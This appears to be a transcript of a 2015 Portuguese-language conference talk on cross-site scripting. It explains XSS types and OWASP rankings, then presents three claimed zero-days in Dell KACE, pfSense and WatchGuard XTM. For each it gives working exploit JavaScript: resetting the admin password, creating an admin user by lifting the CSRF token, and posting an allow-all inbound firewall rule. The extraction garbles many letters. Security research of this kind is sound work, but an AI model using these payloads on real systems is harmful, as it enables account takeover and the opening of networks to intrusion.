Quem tem medo do XSS

Post on 03-Aug-2015

483 views 2 download

Transcript of Quem tem medo do XSS

Quem  tem  medo  de  XSS?

William  Costa  

Composição  do  XSS.  Os  XSS’s  normalmente  são  divididos  em  3  categorias  

 Reflected  XSS    

           Stored  XSS    

   

                 DOM  Based  XSS      

Reflected  XSS

Quando  o  usuário  envia  uma  requisição  durante  uma  consulta  em  uma  pagina  de  pesquisa  ou  em  uma  variável. Ex:  hFp://www.vulneravel.com.br/noJcias/?Jpo=R"><script>alert("Reflected  XSS")</script>  

Stored  XSS Isso  ocorre  quando  o  Script  e  salvo  no  servidor  sendo  assim  carregado  a  cada  vez  que  a  pagina  for  acessada. Ex:  Mensagem  em  um  fórum,  formulares  de  compras,  entre  outros  

Após  adicionar  o  comentário  qualquer  pessoa  que  acesse  o  

Forum  recebem  a  tela  

 

DOM  XSS O  DOM  XSS  é  quando  é  inserido  o  payload  dentro  de  uma  variável  uJlizada  por  um  script     Ex:  Campos  de  interação  em  tempo  real.

           <img  src=search  onerror=alert('DOM_XSS')>  

 

O  XSS  aparece  no  top  10  do  OWASP  desde  seu  primeiro  relatório.    

OWASP  Top  10  –  2003    Top            VulnerabiliIes  in  Web  ApplicaIons    A1  Unvalidated  Parameters  A2  Broken  Access  Control  A3  Broken  Account  and  Session  Management  A4  Cross-­‐Site  Scrip8ng  (XSS)  Flaws  A5  Buffer  Overflows  A6  Command  InjecIon  Flaws  A7  Error  Handling  Problems  A8  Insecure  Use  of  Cryptography  A9  Remote  AdministraIon  Flaws  A10    Web  and  ApplicaIon  Server  MisconfiguraIon  

E  após  10  Anos  ele  conJnua  entre  os  10

•  OWASP  Top  10  –  2013  (New)      •  A1  –  InjecIon      •  A2  –  Broken  AuthenIcaIon  and  Session  Management      •  A3  –  Cross-­‐Site  Scrip8ng  (XSS)      •  A4  –  Insecure  Direct  Object  References      •  A5  –  Security  MisconfiguraIon      •  A6  –  SensiIve  Data  Exposure      •  A7  –  Missing  FuncIon  Level  Access  Control      •  A8  –  Cross-­‐Site  Request  Forgery  (CSRF)      •  A9  –  Using  Known  Vulnerable  Components      •  A10  –  Unvalidated  Redirects  and  Forwards      

   

Como  são  apresentadas  as  Falhas  de  XSS      

Como  normalmente  é  apresentando  o  Impacto  do  XSS

     

Como  elas  deferiam  ser  apresentadas

Como  realmente  são  os  Impactos  dos  XSS

                                                           Falha  #1  Dell  KACE  V.6.3.113397    Falha  na  pagina  de  criação  de  um  Ticket.  Proteções:    Flag  HFpOnly  Token  CSRF  URL  Vulnerável:  /adminui/bug_report.php?locaJon=/adminui/Jcket.php?ID=20000<script>alert("XSS");</script>

Pagina  onde  ocorre  a  vulnerabilidade

Alguma  Ideia  de  como  podemos  ir  além  do  alert?

Função  Alvo

Exploit  para  alteração  da  senha  do  ADMIN.  

• Um  simples  Iframe  já  nos  possibilita  a  alteração  de  senha  do  usuário  administrador.    

 document.write('<iframe  width=0  height=0  name="xss"  src="hlps://uvo128qv8c8mqmdetcu.vm.cld.sr/adminui/user.php?ID=10">  </iframe>');    funcIon  append(senha)  {  window.frames['xss'].document.getElementsByName('FARRAY[PASSWORD]')[0].value="senha123";  window.frames['xss'].document.getElementsByName('FARRAY[PASSWORD_CONFIRM]')[0].value="senha123";  window.frames['xss'].document.UserForm.submit();  }  setTimeout("append(\"Imeout\")",2500);    

                                                           Falha  #2  PFSENSE  V.  2.2.2  Falha  na  pagina  de  remoção  de    CapJves  portais.  Proteções:    Token  CSRF  Checagem  do  Header  HTTP_REFERER

Pagina  onde  ocorre  a  vulnerabilidade

Alguma  Ideia  ?

Função  Alvo

Exploit  para  criação  de  Usuário  de  Administração.   • O  Exploit  cria  um  formulário  dentro  da  pagina  vulnerável  obtém  o  TOKEN  CSRF  da  mesma  e  envia  o  form  para  a  pagina  de  criação  de  usuários  “bypassando”  a  proteção  do  HTTP_REFERER    

document.write('<iframe  width=1000  height=1000  name="xss">  </iframe>');  xss.document.write('<body><form  id="CSRF"  acIon="hlp://192.168.217.100/system_usermanager.php"  method="post"  name="CSRF">');  xss.document.write('<input  name="__csrf_magic"  value=""</input>');  xss.document.write('<input  name="utype"  value="user">  </input>');  xss.document.write('<input  name="usernamefld"  value="teste">  </input>');  xss.document.write('<input  name="passwordfld1"  value="123456">  </input>');  xss.document.write('<input  name="passwordfld2"  value="123456">  </input>');  xss.document.write('<input  name="groups[]"  value="admins">  </input>');  xss.document.write('<input  name="save"  value="Save">  </input>');  xss.document.write('</form>');  xss.document.write('</body>');  window.frames['xss'].document.getElementsByName('__csrf_magic')[0].value=csrfMagicToken;  window.frames['xss'].document.CSRF.submit();    

Falha  #3  Firewall  WatchGuard  XTM  V.  11.10.B473826    Falha  na  pagina  de  Gerenciamento  de  Access  Point.  Proteções:    Token  CSRF  Flag  HFpOnly

Pagina  onde  ocorre  a  vulnerabilidade  URL  Vulneravel:  /network/controller/ap?acJon=add"</script><script>alert(“XSS”)</script>

Ideias  ??

Função  Alvo

Exploit.   •  Vamos  usar  uma  função  JSON  que  envie  via  post  todas  informações  necessárias  para  criação  de  uma  poliIca  que  permita  tudo  de  fora  para  dentro  da  rede.    

   $.ajax({                  type:  "POST",                  url:  "hlps://10.0.1.1:8080/put_data/",                  data:  '{"__class__":"PageFirewallPolicyObj","__module__":"modules.scripts.page.firewall.PageFirewallPolicyObj","is_new":1,"pol":{"__class__":"FirewallPolicySe~ngsObj","__module__":"modules.scripts.page.firewall.PageFirewallPolicyObj","name":"Exploit-­‐Rule","enabled":true,"descripIon":"Policy  added  on  2015-­‐05-­‐005T18:02:38-­‐03:00.","property":0,"type":"Firewall","firewall":"Allowed","reject_acIon":"TCP_RST","from_list":[{"type":0,"address":"Any","interface":"Any","user":"Any","user_display_info":{"type":"","name":"","auth_domain":""},"display_name":"","alias_name":"Any-­‐External","address_type":-­‐1,"tunnel_type":false,"name":"","obj":null}],"to_list":[{"type":0,"address":"Any","interface":"Any","user":"Any","user_display_info":{"type":"","name":"","auth_domain":""},"display_name":"","alias_name":"Any-­‐Trusted","address_type":-­‐1,"tunnel_type":false,"name":"","obj":null}],"policy_nat":"","proxy":"","service":"Any","schedule":"Always  On","app_acIon":"","forward_traffic_mgmt":"","reverse_traffic_mgmt":"","ips_monitor_enabled":true,"quota_enabled":false,"auto_block_enabled":0,"idle_Imeout":180,"idle_Imeout_enabled":0,"policy_sIcky_Imer":0,"policy_sIcky_Imer_enabled":0,"using_global_sIcky_se~ng":1,"apply_one_to_one_nat_rules":1,"apply_dnat_global":1,"apply_dnat_all_traffic":0,"dnat_src_ip":"0.0.0.0","dnat_src_ip_enabled":0,"log_enabled":0,"snmp_enabled":0,"noIficaIon_enabled":0,"noIficaIon_type":0,"launch_interval":900,"repeat_count":10,"enable_qos":0,"marking_field":1,"marking_method":0,"dscp_value":0,"precedence_value":0,"priority_method":1,"priority":0,"proxy_qos":0,"audio_priority":0,"video_priority":0,"data_priority":0,"pbr_enabled":0,"pbr_interface":"","failover_enabled":0,"abs_policy_rouIng":[],"connecIon_rate_enabled":0,"connecIon_rate":100,"use_policy_based_icmp":0,"pmtu_discovery":1,"Ime_exceeded":1,"network_unreachable":1,"host_unreachable":1,"port_unreachable":1,"protocol_unreachable":1,"tag_list":[]},"page_security_app_control_config_obj":null,"page_firewall_scheduling_config_obj":null,"schedule_predefined_flag":1,"page_firewall_proxy_aciton_obj":null,"proxy_acIon_predefined_flag":0,"global_ips_enabled":false,"global_quota_enabled":false,"alias_user_hash":{},"proxy_policy_flag":false,"proxy_acIons":[],"app_acIons":[],"global_qos_enable":false,"port_protocol_se~ngs":[{"protocol":"Any","port":""}],"proxy_type":"","mulI_wan_enabled":0,"mulIwan_algo":0,"ext_interfaces":[{"if_dev_name":"eth0","data":"External","name":"External","if_num":0}],"vif_list":[],"helper_in�_list":[],"helper_tunnel_list":[],"helper_alias_list":[],"helper_fw_group_list":[],"helper_fw_user_list":[],"helper_pptp_group_list":[],"helper_pptp_user_list":[],"helper_sslvpn_group_list":[],"helper_sslvpn_user_list":[],"helper_user_group_list":[],"external_ip_list":[],"helper_snat_list":[],"helper_slb_list":[],"traffic_mgmt_enabled":false,"helper_tm_acIons":[],"helper_tag_list":[],"helper_schedule_list":[],"helper_app_acIon_list":[],"rip_enabled":false,"ospf_enabled":false,"bgp_enabled":false}',                    contentType:  "applicaIon/json;  charset=UTF-­‐8",  

 accept:  "*/*",                  dataType:  "json",                          });  

As  3  vulnerabilidades  apresentadas  aqui  são  0days,  Baixem  e  façam  seus  próprios  testes  J    

<script>alert(String(/Perguntas?/).substr(1,10)  );  </script>

william.costa  arroba  gmail.com